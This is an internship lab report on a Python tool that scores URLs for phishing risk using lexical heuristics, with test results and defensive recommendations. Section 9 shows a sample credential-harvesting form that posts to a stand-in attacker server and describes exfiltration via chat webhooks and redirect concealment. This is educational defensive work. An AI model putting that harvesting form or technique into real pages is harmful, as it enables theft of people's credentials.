CYBERSECURITY INTERNSHIP — PRACTICAL LAB REPORT

Day 03: Phishing Page Anatomy & Heuristic URL Detection

Intern Name:	Md Peer Siddiqui	**Program / Track:**	Alpha 2 — Cybersecurity Track
Issuing Body:	Sqrock IT Solution	**Date of Execution:**	October 22, 2026
Tool Developed:	PEER'S Phish Detector v1.0	**GitHub Repository:**	github.com/MdPeerSiddiqui/Peers-Phish-Detector

1. Objective & Operational Scope

To inspect the structural anatomy of deceptive Uniform Resource Locators (URLs) and engineer an automated Python heuristic detection engine capable of scoring phishing risk. The utility conducts safe *lexical inspection* of URLs without triggering network requests to live malicious servers, evaluating 8 distinct risk factors, enforcing mathematically capped scoring (0–100), and categorizing findings into unambiguous risk tiers.

2. Tools and Technical Environment

- **Operating Environment:** Kali Linux 2026.2 (64-bit VirtualBox VM) / Windows 11 Enterprise
- **Core Platform:** Python 3.11.9 / 3.14.0 (Standard Libraries: urllib.parse, re, ipaddress, json, unittest)
- **UI & Reporting Packages:** colorama v0.4.6 (ANSI terminal rendering), reportlab v4.4.1 (Audit PDF generation)
- **Benchmark Testbed:** test_urls.json (10 curated URLs spanning legitimate sites, typosquats, raw IPs, and deceptive subdomains)

3. Detection Methodology & Heuristic Rule Framework

The scoring engine passes each input URL through an 8-stage heuristic pipeline. Rather than treating scoring as a black box, each rule functions as a transparent, explainable audit check with itemized point weights:

#	Heuristic Indicator	Max Pts	Technical Audit Logic & Security Relevance
1	**Unencrypted Protocol**	+20	Flags plain http://. Legitimate authentication portals mandate TLS encryption (https://).
2	**Raw IP Hostname**	+35	Detects raw IPv4/IPv6 addresses used in hostnames to evade domain registration scrutiny and reputation feeds.
3	**Subdomain Abuse**	+25	Identifies deep subdomain nesting (>3 labels) and brand spoofing in subdomain prefixes (e.g. *paypal.com.evil.com*).
4	**Sensitive Keywords**	+25	Scans for urgency/auth tokens (*login, verify, banking*). Weights hostname matches (+20) higher than path matches (+10).
5	**Brand Typosquatting**	+30	Detects visual homoglyphs (*paypa1, g00gle*) and brand names placed inside URL paths on untrusted hosts (+15).
6	**Suspicious TLD**	+15	Flags high-abuse, disposable top-level domains commonly used by automated phishing kits (*.xyz, .top, .tk*).
7	**URL Shortener Masking**	+25	Identifies redirection services (*bit.ly, tinyurl.com*) used to conceal the true destination host from the victim.
8	**Character Density**	+15	Evaluates abnormal hostname hyphenation (≥3 hyphens) and excessive URL string length (>75 chars / host >40 chars).

4. Transparent Risk Tier Definitions

Risk Score	Assigned Tier	Standardized Operational Definition & False Assurance Safeguard
0 – 19 pts	**Low Risk**	**No suspicious lexical indicators detected.** (Does not certify absolute safety; zero-day phishing pages can reside on fresh, clean domains).
20 – 49 pts	**Medium Risk**	**Caution advised.** Elevated risk signals detected (e.g. unencrypted HTTP protocol or URL shortener concealing the destination).
50 – 74 pts	**High Risk**	**High phishing probability.** Multiple high-severity indicators identified (e.g. raw IP host, brand typosquatting, or high-abuse TLD).
75 – 100 pts	**Critical Risk**	**Immediate threat signature.** Composite phishing lure combining unencrypted protocol, IP host, brand targeting, and action tokens.

5. Empirical Benchmark Test Suite (10-URL Audit)

To rigorously evaluate the heuristic model, an automated test harness (phish_detector.py --test) evaluated 10 diverse URLs representing legitimate baselines, deceptive subdomains, raw IPs, typosquats, and shortened links. Every outcome is audited against documented pre-test analyst expectations:

1	**https://example.com** Legitimate HTTPS baseline	Low Risk	**0/100** Low Risk	**MATCH**	Clean baseline; 0 indicators triggered.
2	**http://example.com** Plain unencrypted HTTP website	Medium Risk	**20/100** Med Risk	**MATCH**	Unencrypted HTTP protocol (+20 pts).
3	**http://192.168.1.100/login** Raw IPv4 authentication portal	High Risk	**65/100** High Risk	**MATCH**	Raw IP (+35), HTTP (+20), Path login keyword (+10).
4	**https://paypal.com.account-verify...evil.com/login** Subdomain brand spoofing	High Risk	**60/100** High Risk	**MATCH**	Subdomain abuse (+25), Sensitive keywords (+25), Label length (+10).
5	**https://paypa1-security.com/signin** Brand homoglyph typosquatting	High Risk	**55/100** High Risk	**MATCH**	Brand typosquatting 'paypa1' (+30), Sensitive keywords (+25).
6	**https://bit.ly/secure-login-39x** URL shortener masking destination	Medium Risk	**35/100** Med Risk	**MATCH**	URL shortener masking (+25), Path action keywords (+10).
7	**http://banking-portal-update.xyz/verify** High-abuse TLD with banking lures	High Risk	**60/100** High Risk	**MATCH**	HTTP (+20), Sensitive keywords (+25), Suspicious TLD (.xyz) (+15).
8	**https://login-verify-account-update...portal.com** Hyphen density & keyword concatenation	High Risk	**35/100** Med Risk	**DIVERGENT**	Hyphen density (6 hyphens) (+10), Host keywords (+20), Length (+10). *See Paradox Analysis below.*
9	**https://github.com/login** Legitimate enterprise login portal	Low Risk	**10/100** Low Risk	**MATCH**	Login keyword in path only (+10 pts). Preserves low risk tier (0–19).
10	**http://192.168.1.50/paypal-update/acc...verify=token** Composite multi-vector phishing lure	Critical Risk	**80/100** Critical	**MATCH**	Raw IP (+35), HTTP (+20), Brand in path (+15), Query tokens (+10).

6. Security Analysis: The 'HTTPS Phishing Paradox' (Case #8 Audit)

In the 10-URL benchmark, 9 out of 10 test cases perfectly matched expected risk tiers. Test case #8 produced an insightful divergence: an analyst intuitively expected *High Risk* (≥50 pts), but the static lexical scorer awarded **35/100 (Medium Risk)**.

Root Cause: The domain utilized a valid TLS certificate (https://) and registered under a reputable top-level domain (.com). Because the tool penalizes unencrypted HTTP (+20) and suspicious TLDs (+15), the absence of those two penalties kept the score under 50.

Key Cybersecurity Takeaway: According to global threat reports by the Anti-Phishing Working Group (APWG), over 83% of active phishing websites now deploy valid SSL/TLS certificates via automated certificate authorities (e.g. Let's Encrypt). **The padlock icon does not mean a website is legitimate—it only proves the connection is encrypted.** A malicious actor can encrypt stolen credentials in transit just as easily as a legitimate bank.

7. Code Verification & Automated Unit Testing

The software architecture was validated using Python's built-in unittest framework (tests/test_phish_detector.py). A 16-point unit test suite verified each heuristic function in isolation, including IPv4 resolution, homoglyph replacement, subdomain splitting, threshold boundary transitions, and mathematical score capping at 100 points. **Result: 16/16 Tests Passed (0.004s execution time).**

8. Technical Architecture: URL Scrutiny vs DOM / Visual Cloning

A comprehensive understanding of phishing detection requires distinguishing between lexical URL inspection and deep client-side Document Object Model (DOM) analysis:

Execution Scope	Safe offline string dissection. Never initiates network traffic to destination server.	Active page rendering in headless browser (Chromium/Puppeteer). Executes remote code.
Threat Detection	Catches brand typosquatting, raw IP servers, manipulative subdomains, and URL shorteners.	Catches visual logo imitation, CSS styling spoofing, hidden IFRAMEs, and malicious form targets.
Primary Limitations	Cannot inspect HTML markup, cannot detect fake login forms hosted on legitimate SaaS platforms (e.g. Google Forms/Canva).	Vulnerable to anti-analysis evasions (CAPTCHAs, geo-fencing, bot detection), higher CPU latency, malware execution risk.
Operational Use	High-speed inline email gateway filtering, firewall perimeter triage, and endpoint telemetry alerts.	SOC malware analysis sandboxes, deep digital forensics, and threat intelligence harvesting.

9. Phishing Page Mechanics: Form Redirection Anatomy

In weaponized phishing pages, the primary objective is credential harvesting via the HTML <form> element. Attackers manipulate the action attribute to redirect harvested credentials to an attacker-controlled endpoint:

• **Third-Party Command & Control:** <form method="POST" action="https://evil-harvest-server.xyz/steal.php">

• **Webhook Exploitation:** Redirecting credentials directly into private Discord or Telegram bot webhooks to bypass server hosting costs.

• **Legitimate Redirection Illusion:** After harvesting passwords, the script triggers a window.location.replace() redirecting the victim to the real authentication portal (e.g. https://paypal.com), creating the impression of a harmless accidental session timeout.

10. Enterprise Defensive Measures & SOC Recommendations

Defensive Domain	Recommended Enterprise Control & Implementation Strategy
Identity & Auth	**FIDO2 / WebAuthn Hardware Tokens:** Implement hardware-bound multi-factor authentication (e.g. YubiKeys). FIDO2 binds authentication to the true cryptographic domain in the browser, rendering credential theft on typosquat domains completely ineffective.
Network & DNS	**Protective DNS (PDNS) & Threat Sinkholing:** Deploy DNS filtering (e.g. Cloudflare Gateway, Cisco Umbrella) to block lookups against newly registered domains (<30 days old) and disposable TLDs.
Email Security	**Time-of-Click URL Protection:** Implement gateway URL rewriting that rescans destination endpoints at the exact instant an employee clicks, preventing delayed-activation phishing attacks.
Human Layer	**Domain Anatomy Training:** Train staff to inspect the Registered Domain (SLD + TLD) rather than subdomain prefixes or the presence of the HTTPS padlock icon.

11. Conclusion & Internship Practical Sign-Off

Day 03 practical training provided comprehensive insight into phishing infrastructure anatomy and automated URL risk scoring. By decomposing URLs into their protocol, hostname, subdomain hierarchy, path, and character density, we demonstrated that lexical analysis serves as an essential first line of defense. The project highlighted the critical limitation of relying solely on TLS encryption as a trust signal and reinforced the necessity of defense-in-depth across DNS filtering, phishing-resistant MFA, and explainable heuristic detection.